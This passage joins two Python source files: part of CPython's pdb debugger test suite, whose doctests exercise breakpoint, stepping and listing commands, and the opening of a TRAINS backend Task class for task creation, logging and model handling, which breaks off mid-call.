test.test_pdb.test_pdb_basic_commands[0]>(1)test_function_2() -> def test_function_2(foo, bar='default'): (Pdb) next > <doctest test.test_pdb.test_pdb_basic_commands[0]>(2)test_function_2() -> print(foo) (Pdb) next baz > <doctest test.test_pdb.test_pdb_basic_commands[0]>(3)test_function_2() -> for i in range(5): (Pdb) step > <doctest test.test_pdb.test_pdb_basic_commands[0]>(4)test_function_2() -> print(i) (Pdb) until 0 1 2 3 4 > <doctest test.test_pdb.test_pdb_basic_commands[0]>(5)test_function_2() -> print(bar) (Pdb) next default > <doctest test.test_pdb.test_pdb_basic_commands[0]>(6)test_function_2() -> for i in range(10): (Pdb) jump 8 > <doctest test.test_pdb.test_pdb_basic_commands[0]>(8)test_function_2() -> print('after for') (Pdb) return after for ... --Return-- > <doctest test.test_pdb.test_pdb_basic_commands[0]>(10)test_function_2()->'BAZ' -> return foo.upper() (Pdb) retval 'BAZ' (Pdb) continue BAZ """ def test_pdb_breakpoint_commands(): """Test basic commands related to breakpoints. >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... print(1) ... print(2) ... print(3) ... print(4) First, need to clear bdb state that might be left over from previous tests. Otherwise, the new breakpoints might get assigned different numbers. >>> from bdb import Breakpoint >>> Breakpoint.next = 1 >>> Breakpoint.bplist = {} >>> Breakpoint.bpbynumber = [None] Now test the breakpoint commands. NORMALIZE_WHITESPACE is needed because the breakpoint list outputs a tab for the "stop only" and "ignore next" lines, which we don't want to put in here. >>> with PdbTestInput([ # doctest: +NORMALIZE_WHITESPACE ... 'break 3', ... 'disable 1', ... 'ignore 1 10', ... 'condition 1 1 < 2', ... 'break 4', ... 'break 4', ... 'break', ... 'clear 3', ... 'break', ... 'condition 1', ... 'enable 1', ... 'clear 1', ... 'commands 2', ... 'p "42"', ... 'print("42", 7*6)', # Issue 18764 (not about breakpoints) ... 'end', ... 'continue', # will stop at breakpoint 2 (line 4) ... 'clear', # clear all! ... 'y', ... 'tbreak 5', ... 'continue', # will stop at temporary breakpoint ... 'break', # make sure breakpoint is gone ... 'continue', ... ]): ... test_function() > <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>(3)test_function() -> print(1) (Pdb) break 3 Breakpoint 1 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:3 (Pdb) disable 1 Disabled breakpoint 1 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:3 (Pdb) ignore 1 10 Will ignore next 10 crossings of breakpoint 1. (Pdb) condition 1 1 < 2 New condition set for breakpoint 1. (Pdb) break 4 Breakpoint 2 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 (Pdb) break 4 Breakpoint 3 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 (Pdb) break Num Type Disp Enb Where 1 breakpoint keep no at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:3 stop only if 1 < 2 ignore next 10 hits 2 breakpoint keep yes at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 3 breakpoint keep yes at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 (Pdb) clear 3 Deleted breakpoint 3 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 (Pdb) break Num Type Disp Enb Where 1 breakpoint keep no at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:3 stop only if 1 < 2 ignore next 10 hits 2 breakpoint keep yes at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 (Pdb) condition 1 Breakpoint 1 is now unconditional. (Pdb) enable 1 Enabled breakpoint 1 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:3 (Pdb) clear 1 Deleted breakpoint 1 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:3 (Pdb) commands 2 (com) p "42" (com) print("42", 7*6) (com) end (Pdb) continue 1 '42' 42 42 > <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>(4)test_function() -> print(2) (Pdb) clear Clear all breaks? y Deleted breakpoint 2 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:4 (Pdb) tbreak 5 Breakpoint 4 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:5 (Pdb) continue 2 Deleted breakpoint 4 at <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>:5 > <doctest test.test_pdb.test_pdb_breakpoint_commands[0]>(5)test_function() -> print(3) (Pdb) break (Pdb) continue 3 4 """ def do_nothing(): pass def do_something(): print(42) def test_list_commands(): """Test the list and source commands of pdb. >>> def test_function_2(foo): ... import test.test_pdb ... test.test_pdb.do_nothing() ... 'some...' ... 'more...' ... 'code...' ... 'to...' ... 'make...' ... 'a...' ... 'long...' ... 'listing...' ... 'useful...' ... '...' ... '...' ... return foo >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... ret = test_function_2('baz') >>> with PdbTestInput([ # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE ... 'list', # list first function ... 'step', # step into second function ... 'list', # list second function ... 'list', # continue listing to EOF ... 'list 1,3', # list specific lines ... 'list x', # invalid argument ... 'next', # step to import ... 'next', # step over import ... 'step', # step into do_nothing ... 'longlist', # list all lines ... 'source do_something', # list all lines of function ... 'source fooxxx', # something that doesn't exit ... 'continue', ... ]): ... test_function() > <doctest test.test_pdb.test_list_commands[1]>(3)test_function() -> ret = test_function_2('baz') (Pdb) list 1 def test_function(): 2 import pdb; pdb.Pdb(nosigint=True).set_trace() 3 -> ret = test_function_2('baz') [EOF] (Pdb) step --Call-- > <doctest test.test_pdb.test_list_commands[0]>(1)test_function_2() -> def test_function_2(foo): (Pdb) list 1 -> def test_function_2(foo): 2 import test.test_pdb 3 test.test_pdb.do_nothing() 4 'some...' 5 'more...' 6 'code...' 7 'to...' 8 'make...' 9 'a...' 10 'long...' 11 'listing...' (Pdb) list 12 'useful...' 13 '...' 14 '...' 15 return foo [EOF] (Pdb) list 1,3 1 -> def test_function_2(foo): 2 import test.test_pdb 3 test.test_pdb.do_nothing() (Pdb) list x *** ... (Pdb) next > <doctest test.test_pdb.test_list_commands[0]>(2)test_function_2() -> import test.test_pdb (Pdb) next > <doctest test.test_pdb.test_list_commands[0]>(3)test_function_2() -> test.test_pdb.do_nothing() (Pdb) step --Call-- > ...test_pdb.py(...)do_nothing() -> def do_nothing(): (Pdb) longlist ... -> def do_nothing(): ... pass (Pdb) source do_something ... def do_something(): ... print(42) (Pdb) source fooxxx *** ... (Pdb) continue """ def test_post_mortem(): """Test post mortem traceback debugging. >>> def test_function_2(): ... try: ... 1/0 ... finally: ... print('Exception!') >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... test_function_2() ... print('Not reached.') >>> with PdbTestInput([ # doctest: +ELLIPSIS, +NORMALIZE_WHITESPACE ... 'next', # step over exception-raising call ... 'bt', # get a backtrace ... 'list', # list code of test_function() ... 'down', # step into test_function_2() ... 'list', # list code of test_function_2() ... 'continue', ... ]): ... try: ... test_function() ... except ZeroDivisionError: ... print('Correctly reraised.') > <doctest test.test_pdb.test_post_mortem[1]>(3)test_function() -> test_function_2() (Pdb) next Exception! ZeroDivisionError: division by zero > <doctest test.test_pdb.test_post_mortem[1]>(3)test_function() -> test_function_2() (Pdb) bt ... <doctest test.test_pdb.test_post_mortem[2]>(10)<module>() -> test_function() > <doctest test.test_pdb.test_post_mortem[1]>(3)test_function() -> test_function_2() <doctest test.test_pdb.test_post_mortem[0]>(3)test_function_2() -> 1/0 (Pdb) list 1 def test_function(): 2 import pdb; pdb.Pdb(nosigint=True).set_trace() 3 -> test_function_2() 4 print('Not reached.') [EOF] (Pdb) down > <doctest test.test_pdb.test_post_mortem[0]>(3)test_function_2() -> 1/0 (Pdb) list 1 def test_function_2(): 2 try: 3 >> 1/0 4 finally: 5 -> print('Exception!') [EOF] (Pdb) continue Correctly reraised. """ def test_pdb_skip_modules(): """This illustrates the simple case of module skipping. >>> def skip_module(): ... import string ... import pdb; pdb.Pdb(skip=['stri*'], nosigint=True).set_trace() ... string.capwords('FOO') >>> with PdbTestInput([ ... 'step', ... 'continue', ... ]): ... skip_module() > <doctest test.test_pdb.test_pdb_skip_modules[0]>(4)skip_module() -> string.capwords('FOO') (Pdb) step --Return-- > <doctest test.test_pdb.test_pdb_skip_modules[0]>(4)skip_module()->None -> string.capwords('FOO') (Pdb) continue """ # Module for testing skipping of module that makes a callback mod = types.ModuleType('module_to_skip') exec('def foo_pony(callback): x = 1; callback(); return None', mod.__dict__) def test_pdb_skip_modules_with_callback(): """This illustrates skipping of modules that call into other code. >>> def skip_module(): ... def callback(): ... return None ... import pdb; pdb.Pdb(skip=['module_to_skip*'], nosigint=True).set_trace() ... mod.foo_pony(callback) >>> with PdbTestInput([ ... 'step', ... 'step', ... 'step', ... 'step', ... 'step', ... 'continue', ... ]): ... skip_module() ... pass # provides something to "step" to > <doctest test.test_pdb.test_pdb_skip_modules_with_callback[0]>(5)skip_module() -> mod.foo_pony(callback) (Pdb) step --Call-- > <doctest test.test_pdb.test_pdb_skip_modules_with_callback[0]>(2)callback() -> def callback(): (Pdb) step > <doctest test.test_pdb.test_pdb_skip_modules_with_callback[0]>(3)callback() -> return None (Pdb) step --Return-- > <doctest test.test_pdb.test_pdb_skip_modules_with_callback[0]>(3)callback()->None -> return None (Pdb) step --Return-- > <doctest test.test_pdb.test_pdb_skip_modules_with_callback[0]>(5)skip_module()->None -> mod.foo_pony(callback) (Pdb) step > <doctest test.test_pdb.test_pdb_skip_modules_with_callback[1]>(10)<module>() -> pass # provides something to "step" to (Pdb) continue """ def test_pdb_continue_in_bottomframe(): """Test that "continue" and "next" work properly in bottom frame (issue #5294). >>> def test_function(): ... import pdb, sys; inst = pdb.Pdb(nosigint=True) ... inst.set_trace() ... inst.botframe = sys._getframe() # hackery to get the right botframe ... print(1) ... print(2) ... print(3) ... print(4) >>> with PdbTestInput([ # doctest: +ELLIPSIS ... 'next', ... 'break 7', ... 'continue', ... 'next', ... 'continue', ... 'continue', ... ]): ... test_function() > <doctest test.test_pdb.test_pdb_continue_in_bottomframe[0]>(4)test_function() -> inst.botframe = sys._getframe() # hackery to get the right botframe (Pdb) next > <doctest test.test_pdb.test_pdb_continue_in_bottomframe[0]>(5)test_function() -> print(1) (Pdb) break 7 Breakpoint ... at <doctest test.test_pdb.test_pdb_continue_in_bottomframe[0]>:7 (Pdb) continue 1 2 > <doctest test.test_pdb.test_pdb_continue_in_bottomframe[0]>(7)test_function() -> print(3) (Pdb) next 3 > <doctest test.test_pdb.test_pdb_continue_in_bottomframe[0]>(8)test_function() -> print(4) (Pdb) continue 4 """ def pdb_invoke(method, arg): """Run pdb.method(arg).""" getattr(pdb.Pdb(nosigint=True), method)(arg) def test_pdb_run_with_incorrect_argument(): """Testing run and runeval with incorrect first argument. >>> pti = PdbTestInput(['continue',]) >>> with pti: ... pdb_invoke('run', lambda x: x) Traceback (most recent call last): TypeError: exec() arg 1 must be a string, bytes or code object >>> with pti: ... pdb_invoke('runeval', lambda x: x) Traceback (most recent call last): TypeError: eval() arg 1 must be a string, bytes or code object """ def test_pdb_run_with_code_object(): """Testing run and runeval with code object as a first argument. >>> with PdbTestInput(['step','x', 'continue']): # doctest: +ELLIPSIS ... pdb_invoke('run', compile('x=1', '<string>', 'exec')) > <string>(1)<module>()... (Pdb) step --Return-- > <string>(1)<module>()->None (Pdb) x 1 (Pdb) continue >>> with PdbTestInput(['x', 'continue']): ... x=0 ... pdb_invoke('runeval', compile('x+1', '<string>', 'eval')) > <string>(1)<module>()->None (Pdb) x 1 (Pdb) continue """ def test_next_until_return_at_return_event(): """Test that pdb stops after a next/until/return issued at a return debug event. >>> def test_function_2(): ... x = 1 ... x = 2 >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... test_function_2() ... test_function_2() ... test_function_2() ... end = 1 >>> from bdb import Breakpoint >>> Breakpoint.next = 1 >>> with PdbTestInput(['break test_function_2', ... 'continue', ... 'return', ... 'next', ... 'continue', ... 'return', ... 'until', ... 'continue', ... 'return', ... 'return', ... 'continue']): ... test_function() > <doctest test.test_pdb.test_next_until_return_at_return_event[1]>(3)test_function() -> test_function_2() (Pdb) break test_function_2 Breakpoint 1 at <doctest test.test_pdb.test_next_until_return_at_return_event[0]>:1 (Pdb) continue > <doctest test.test_pdb.test_next_until_return_at_return_event[0]>(2)test_function_2() -> x = 1 (Pdb) return --Return-- > <doctest test.test_pdb.test_next_until_return_at_return_event[0]>(3)test_function_2()->None -> x = 2 (Pdb) next > <doctest test.test_pdb.test_next_until_return_at_return_event[1]>(4)test_function() -> test_function_2() (Pdb) continue > <doctest test.test_pdb.test_next_until_return_at_return_event[0]>(2)test_function_2() -> x = 1 (Pdb) return --Return-- > <doctest test.test_pdb.test_next_until_return_at_return_event[0]>(3)test_function_2()->None -> x = 2 (Pdb) until > <doctest test.test_pdb.test_next_until_return_at_return_event[1]>(5)test_function() -> test_function_2() (Pdb) continue > <doctest test.test_pdb.test_next_until_return_at_return_event[0]>(2)test_function_2() -> x = 1 (Pdb) return --Return-- > <doctest test.test_pdb.test_next_until_return_at_return_event[0]>(3)test_function_2()->None -> x = 2 (Pdb) return > <doctest test.test_pdb.test_next_until_return_at_return_event[1]>(6)test_function() -> end = 1 (Pdb) continue """ def test_pdb_next_command_for_generator(): """Testing skip unwindng stack on yield for generators for "next" command >>> def test_gen(): ... yield 0 ... return 1 ... yield 2 >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... it = test_gen() ... try: ... if next(it) != 0: ... raise AssertionError ... next(it) ... except StopIteration as ex: ... if ex.value != 1: ... raise AssertionError ... print("finished") >>> with PdbTestInput(['step', ... 'step', ... 'step', ... 'next', ... 'next', ... 'step', ... 'step', ... 'continue']): ... test_function() > <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(3)test_function() -> it = test_gen() (Pdb) step > <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(4)test_function() -> try: (Pdb) step > <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(5)test_function() -> if next(it) != 0: (Pdb) step --Call-- > <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(1)test_gen() -> def test_gen(): (Pdb) next > <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(2)test_gen() -> yield 0 (Pdb) next > <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(3)test_gen() -> return 1 (Pdb) step --Return-- > <doctest test.test_pdb.test_pdb_next_command_for_generator[0]>(3)test_gen()->1 -> return 1 (Pdb) step StopIteration: 1 > <doctest test.test_pdb.test_pdb_next_command_for_generator[1]>(7)test_function() -> next(it) (Pdb) continue finished """ def test_pdb_return_command_for_generator(): """Testing no unwindng stack on yield for generators for "return" command >>> def test_gen(): ... yield 0 ... return 1 ... yield 2 >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... it = test_gen() ... try: ... if next(it) != 0: ... raise AssertionError ... next(it) ... except StopIteration as ex: ... if ex.value != 1: ... raise AssertionError ... print("finished") >>> with PdbTestInput(['step', ... 'step', ... 'step', ... 'return', ... 'step', ... 'step', ... 'continue']): ... test_function() > <doctest test.test_pdb.test_pdb_return_command_for_generator[1]>(3)test_function() -> it = test_gen() (Pdb) step > <doctest test.test_pdb.test_pdb_return_command_for_generator[1]>(4)test_function() -> try: (Pdb) step > <doctest test.test_pdb.test_pdb_return_command_for_generator[1]>(5)test_function() -> if next(it) != 0: (Pdb) step --Call-- > <doctest test.test_pdb.test_pdb_return_command_for_generator[0]>(1)test_gen() -> def test_gen(): (Pdb) return StopIteration: 1 > <doctest test.test_pdb.test_pdb_return_command_for_generator[1]>(7)test_function() -> next(it) (Pdb) step > <doctest test.test_pdb.test_pdb_return_command_for_generator[1]>(8)test_function() -> except StopIteration as ex: (Pdb) step > <doctest test.test_pdb.test_pdb_return_command_for_generator[1]>(9)test_function() -> if ex.value != 1: (Pdb) continue finished """ def test_pdb_until_command_for_generator(): """Testing no unwindng stack on yield for generators for "until" command if target breakpoing is not reached >>> def test_gen(): ... yield 0 ... yield 1 ... yield 2 >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... for i in test_gen(): ... print(i) ... print("finished") >>> with PdbTestInput(['step', ... 'until 4', ... 'step', ... 'step', ... 'continue']): ... test_function() > <doctest test.test_pdb.test_pdb_until_command_for_generator[1]>(3)test_function() -> for i in test_gen(): (Pdb) step --Call-- > <doctest test.test_pdb.test_pdb_until_command_for_generator[0]>(1)test_gen() -> def test_gen(): (Pdb) until 4 0 1 > <doctest test.test_pdb.test_pdb_until_command_for_generator[0]>(4)test_gen() -> yield 2 (Pdb) step --Return-- > <doctest test.test_pdb.test_pdb_until_command_for_generator[0]>(4)test_gen()->2 -> yield 2 (Pdb) step > <doctest test.test_pdb.test_pdb_until_command_for_generator[1]>(4)test_function() -> print(i) (Pdb) continue 2 finished """ def test_pdb_next_command_in_generator_for_loop(): """The next command on returning from a generator controled by a for loop. >>> def test_gen(): ... yield 0 ... return 1 >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... for i in test_gen(): ... print('value', i) ... x = 123 >>> with PdbTestInput(['break test_gen', ... 'continue', ... 'next', ... 'next', ... 'next', ... 'continue']): ... test_function() > <doctest test.test_pdb.test_pdb_next_command_in_generator_for_loop[1]>(3)test_function() -> for i in test_gen(): (Pdb) break test_gen Breakpoint 6 at <doctest test.test_pdb.test_pdb_next_command_in_generator_for_loop[0]>:1 (Pdb) continue > <doctest test.test_pdb.test_pdb_next_command_in_generator_for_loop[0]>(2)test_gen() -> yield 0 (Pdb) next value 0 > <doctest test.test_pdb.test_pdb_next_command_in_generator_for_loop[0]>(3)test_gen() -> return 1 (Pdb) next Internal StopIteration: 1 > <doctest test.test_pdb.test_pdb_next_command_in_generator_for_loop[1]>(3)test_function() -> for i in test_gen(): (Pdb) next > <doctest test.test_pdb.test_pdb_next_command_in_generator_for_loop[1]>(5)test_function() -> x = 123 (Pdb) continue """ def test_pdb_next_command_subiterator(): """The next command in a generator with a subiterator. >>> def test_subgenerator(): ... yield 0 ... return 1 >>> def test_gen(): ... x = yield from test_subgenerator() ... return x >>> def test_function(): ... import pdb; pdb.Pdb(nosigint=True).set_trace() ... for i in test_gen(): ... print('value', i) ... x = 123 >>> with PdbTestInput(['step', ... 'step', ... 'next', ... 'next', ... 'next', ... 'continue']): ... test_function() > <doctest test.test_pdb.test_pdb_next_command_subiterator[2]>(3)test_function() -> for i in test_gen(): (Pdb) step --Call-- > <doctest test.test_pdb.test_pdb_next_command_subiterator[1]>(1)test_gen() -> def test_gen(): (Pdb) step > <doctest test.test_pdb.test_pdb_next_command_subiterator[1]>(2)test_gen() -> x = yield from test_subgenerator() (Pdb) next value 0 > <doctest test.test_pdb.test_pdb_next_command_subiterator[1]>(3)test_gen() -> return x (Pdb) next Internal StopIteration: 1 > <doctest test.test_pdb.test_pdb_next_command_subiterator[2]>(3)test_function() -> for i in test_gen(): (Pdb) next > <doctest test.test_pdb.test_pdb_next_command_subiterator[2]>(5)test_function() -> x = 123 (Pdb) continue """ class PdbTestCase(unittest.TestCase): def run_pdb(self, script, commands): """Run 'script' lines with pdb and the pdb 'commands'.""" filename = 'main.py' with open(filename, 'w') as f: f.write(textwrap.dedent(script)) self.addCleanup(support.unlink, filename) self.addCleanup(support.rmtree, '__pycache__') cmd = [sys.executable, '-m', 'pdb', filename] stdout = stderr = None with subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, ) as proc: stdout, stderr = proc.communicate(str.encode(commands)) stdout = stdout and bytes.decode(stdout) stderr = stderr and bytes.decode(stderr) return stdout, stderr def _assert_find_function(self, file_content, func_name, expected): file_content = textwrap.dedent(file_content) with open(support.TESTFN, 'w') as f: f.write(file_content) expected = None if not expected else ( expected[0], support.TESTFN, expected[1]) self.assertEqual( expected, pdb.find_function(func_name, support.TESTFN)) def test_find_function_empty_file(self): self._assert_find_function('', 'foo', None) def test_find_function_found(self): self._assert_find_function( """\ def foo(): pass def bar(): pass def quux(): pass """, 'bar', ('bar', 4), ) def test_issue7964(self): # open the file as binary so we can force \r\n newline with open(support.TESTFN, 'wb') as f: f.write(b'print("testing my pdb")\r\n') cmd = [sys.executable, '-m', 'pdb', support.TESTFN] proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, ) self.addCleanup(proc.stdout.close) stdout, stderr = proc.communicate(b'quit\n') self.assertNotIn(b'SyntaxError', stdout, "Got a syntax error running test script under PDB") def test_issue13183(self): script = """ from bar import bar def foo(): bar() def nope(): pass def foobar(): foo() nope() foobar() """ commands = """ from bar import bar break bar continue step step quit """ bar = """ def bar(): pass """ with open('bar.py', 'w') as f: f.write(textwrap.dedent(bar)) self.addCleanup(support.unlink, 'bar.py') stdout, stderr = self.run_pdb(script, commands) self.assertTrue( any('main.py(5)foo()->None' in l for l in stdout.splitlines()), 'Fail to step into the caller after a return') def test_issue13210(self): # invoking "continue" on a non-main thread triggered an exception # inside signal.signal # raises SkipTest if python was built without threads support.import_module('threading') with open(support.TESTFN, 'wb') as f: f.write(textwrap.dedent(""" import threading import pdb def start_pdb(): pdb.Pdb().set_trace() x = 1 y = 1 t = threading.Thread(target=start_pdb) t.start()""").encode('ascii')) cmd = [sys.executable, '-u', support.TESTFN] proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT, ) self.addCleanup(proc.stdout.close) stdout, stderr = proc.communicate(b'cont\n') self.assertNotIn('Error', stdout.decode(), "Got an error running test script under PDB") def test_issue16180(self): # A syntax error in the debuggee. script = "def f: pass\n" commands = '' expected = "SyntaxError:" stdout, stderr = self.run_pdb(script, commands) self.assertIn(expected, stdout, '\n\nExpected:\n{}\nGot:\n{}\n' 'Fail to handle a syntax error in the debuggee.' .format(expected, stdout)) def tearDown(self): support.unlink(support.TESTFN) def load_tests(*args): from test import test_pdb suites = [unittest.makeSuite(PdbTestCase), doctest.DocTestSuite(test_pdb)] return unittest.TestSuite(suites) if __name__ == '__main__': unittest.main()
task.py
""" Backend task management support """ import collections import itertools import logging from enum import Enum from threading import RLock, Thread from copy import copy from six.moves.urllib.parse import urlparse, urlunparse import six from ...backend_interface.task.development.worker import DevWorker from ...backend_api import Session from ...backend_api.services import tasks, models, events, projects from pathlib2 import Path from pyhocon import ConfigTree, ConfigFactory from ..base import IdObjectBase from ..metrics import Metrics, Reporter from ..model import Model from ..setupuploadmixin import SetupUploadMixin from ..util import make_message, get_or_create_project, get_single_result, \ exact_match_regex from ...config import get_config_for_bucket, get_remote_task_id, TASK_ID_ENV_VAR, get_log_to_backend, \ running_remotely, get_cache_dir from ...debugging import get_logger from ...debugging.log import LoggerRoot from ...storage import StorageHelper from ...storage.helper import StorageError from .access import AccessMixin from .log import TaskHandler from .repo import ScriptInfo from ...config import config class Task(IdObjectBase, AccessMixin, SetupUploadMixin): """ Task manager providing task object access and management. Includes read/write access to task-associated frames and models. """ _anonymous_dataview_id = '__anonymous__' _development_tag = 'development' class TaskTypes(Enum): def __str__(self): return str(self.value) training = 'training' testing = 'testing' def __init__(self, session=None, task_id=None, log=None, project_name=None, task_name=None, task_type=TaskTypes.training, log_to_backend=True, raise_on_validation_errors=True, force_create=False): """ Create a new task instance. :param session: Optional API Session instance. If not provided, a default session based on the system's configuration will be used. :type session: Session :param task_id: Optional task ID. If not provided, a new task will be created using the API and its information reflected in the resulting instance. :type task_id: string :param log: Optional log to be used. If not provided, and internal log shared with all backend objects will be used instead. :type log: logging.Logger :param project_name: Optional project name, used only if a new task is created. The new task will be associated with a project by this name. If no such project exists, a new project will be created using the API. :type project_name: str :param task_name: Optional task name, used only if a new task is created. :type project_name: str :param task_type: Optional task type, used only if a new task is created. Default is training task. :type project_name: str (see tasks.TaskTypeEnum) :param log_to_backend: If True, all calls to the task's log will be logged to the backend using the API. This value can be overridden using the environment variable TRAINS_LOG_TASK_TO_BACKEND. :type log_to_backend: bool :param force_create: If True a new task will always be created (task_id, if provided, will be ignored) :type force_create: bool """ task_id = self._resolve_task_id(task_id, log=log) if not force_create else None self._edit_lock = RLock() super(Task, self).__init__(id=task_id, session=session, log=log) self._storage_uri = None self._input_model = None self._output_model = None self._metrics_manager = None self._reporter = None self._curr_label_stats = {} self._raise_on_validation_errors = raise_on_validation_errors self._parameters_allowed_types = ( six.string_types + six.integer_types + (six.text_type, float, list, dict, type(None)) ) if not task_id: # generate a new task self.id = self._auto_generate(project_name=project_name, task_name=task_name, task_type=task_type) else: # this is an existing task, let's try to verify stuff self._validate() if running_remotely() or DevWorker.report_stdout: log_to_backend = False self._log_to_backend = log_to_backend self._setup_log(default_log_to_backend=log_to_backend) def _setup_log(self, default_log_to_backend=None, replace_existing=False): """ Setup logging facilities for this task. :param default_log_to_backend: Should this task log to the backend. If not specified, value for this option will be obtained from the environment, with this value acting as a default in case configuration for this is missing. If the value for this option is false, we won't touch the current logger configuration regarding TaskHandler(s) :param replace_existing: If True and another task is already logging to the backend, replace the handler with a handler for this task. """ # Make sure urllib is never in debug/info, disable_urllib3_info = config.get('log.disable_urllib3_info', True) if disable_urllib3_info and logging.getLogger('urllib3').isEnabledFor(logging.INFO): logging.getLogger('urllib3').setLevel(logging.WARNING) log_to_backend = get_log_to_backend(default=default_log_to_backend) or self._log_to_backend if not log_to_backend: return # Handle the root logger and our own logger. We use set() to make sure we create no duplicates # in case these are the same logger... loggers = {logging.getLogger(), LoggerRoot.get_base_logger()} # Find all TaskHandler handlers for these loggers handlers = {logger: h for logger in loggers for h in logger.handlers if isinstance(h, TaskHandler)} if handlers and not replace_existing: # Handlers exist and we shouldn't replace them return # Remove all handlers, we'll add new ones for logger, handler in handlers.items(): logger.removeHandler(handler) # Create a handler that will be used in all loggers. Since our handler is a buffering handler, using more # than one instance to report to the same task will result in out-of-order log reports (grouped by whichever # handler instance handled them) backend_handler = TaskHandler(self.session, self.task_id) # Add backend handler to both loggers: # 1. to root logger root logger # 2. to our own logger as well, since our logger is not propagated to the root logger # (if we propagate our logger will be caught be the root handlers as well, and # we do not want that) for logger in loggers: logger.addHandler(backend_handler) def _validate(self, check_output_dest_credentials=True): raise_errors = self._raise_on_validation_errors output_dest = self.get_output_destination(raise_on_error=False, log_on_error=False) if output_dest and check_output_dest_credentials: try: self.log.info('Validating output destination') conf = get_config_for_bucket(base_url=output_dest) if not conf: msg = 'Failed resolving output destination (no credentials found for %s)' % output_dest self.log.warn(msg) if raise_errors: raise Exception(msg) else: StorageHelper._test_bucket_config(conf=conf, log=self.log, raise_on_error=raise_errors) except StorageError: raise except Exception as ex: self.log.error('Failed trying to verify output destination: %s' % ex) @classmethod def _resolve_task_id(cls, task_id, log=None): if not task_id: task_id = cls.normalize_id(get_remote_task_id()) if task_id: log = log or get_logger('task') log.info('Using task ID from env %s=%s' % (TASK_ID_ENV_VAR[0], task_id)) return task_id def _update_repository(self): def check_package_update(): # check latest version from ...utilities.check_updates import CheckPackageUpdates latest_version = CheckPackageUpdates.check_new_package_available(only_once=True) if latest_version: if not latest_version[1]: self.get_logger().console( 'TRAINS new package available: UPGRADE to v{} is recommended!'.format( latest_version[0]), ) else: self.get_logger().console( 'TRAINS-SERVER new version available: upgrade to v{} is recommended!'.format( latest_version[0]), ) check_package_update_thread = Thread(target=check_package_update) check_package_update_thread.daemon = True check_package_update_thread.start() result = ScriptInfo.get(log=self.log) for msg in result.warning_messages: self.get_logger().console(msg) self.data.script = result.script # Since we might run asynchronously, don't use self.data (lest someone else # overwrite it before we have a chance to call edit) self._edit(script=result.script) self.reload() self._update_requirements(result.script.get('requirements') if result.script.get('requirements') else '') check_package_update_thread.join() def _auto_generate(self, project_name=None, task_name=None, task_type=TaskTypes.training): created_msg = make_message('Auto-generated at %(time)s by %(user)s@%(host)s') project_id = None if project_name: project_id = get_or_create_project(self, project_name, created_msg) tags = [self._development_tag] if not running_remotely() else [] req = tasks.CreateRequest( name=task_name or make_message('Anonymous task (%(user)s@%(host)s %(time)s)'), type=tasks.TaskTypeEnum(task_type.value), comment=created_msg, project=project_id, input={'view': {}}, tags=tags, ) res = self.send(req) return res.response.id def _set_storage_uri(self, value): value = value.rstrip('/') self._storage_uri = StorageHelper.conform_url(value) self.data.output.destination = self._storage_uri self._edit(output_dest=self._storage_uri) self.output_model.upload_storage_uri = self._storage_uri @property def storage_uri(self): if self._storage_uri: return self._storage_uri if running_remotely(): return self.data.output.destination else: return None @storage_uri.setter def storage_uri(self, value): self._set_storage_uri(value) @property def task_id(self): return self.id @property def name(self): return self.data.name @property def task_type(self): return self.data.type @property def project(self): return self.data.project @property def input_model_id(self): return self.data.execution.model @property def output_model_id(self): return self.data.output.model @property def comment(self): return self.data.comment @property def cache_dir(self): """ Cache dir used to store task related files """ return Path(get_cache_dir()) / self.id @property def status(self): """ The task's status. In order to stay updated, we always reload the task info when this value is accessed. """ self.reload() return self._status @property def _status(self): """ Return the task's cached status (don't reload if we don't have to) """ return self.data.status @property def input_model(self): """ A model manager used to handle the input model object """ model_id = self._get_task_property('execution.model', raise_on_error=False) if not model_id: return None if self._input_model is None: self._input_model = Model( session=self.session, model_id=model_id, cache_dir=self.cache_dir, log=self.log, upload_storage_uri=None) return self._input_model @property def output_model(self): """ A model manager used to manage the output model object """ if self._output_model is None: self._output_model = self._get_output_model(upload_required=True) return self._output_model def create_output_model(self): return self._get_output_model(upload_required=False, force=True) def _get_output_model(self, upload_required=True, force=False): return Model( session=self.session, model_id=None if force else self._get_task_property( 'output.model', raise_on_error=False, log_on_error=False), cache_dir=self.cache_dir, upload_storage_uri=self.storage_uri or self.get_output_destination( 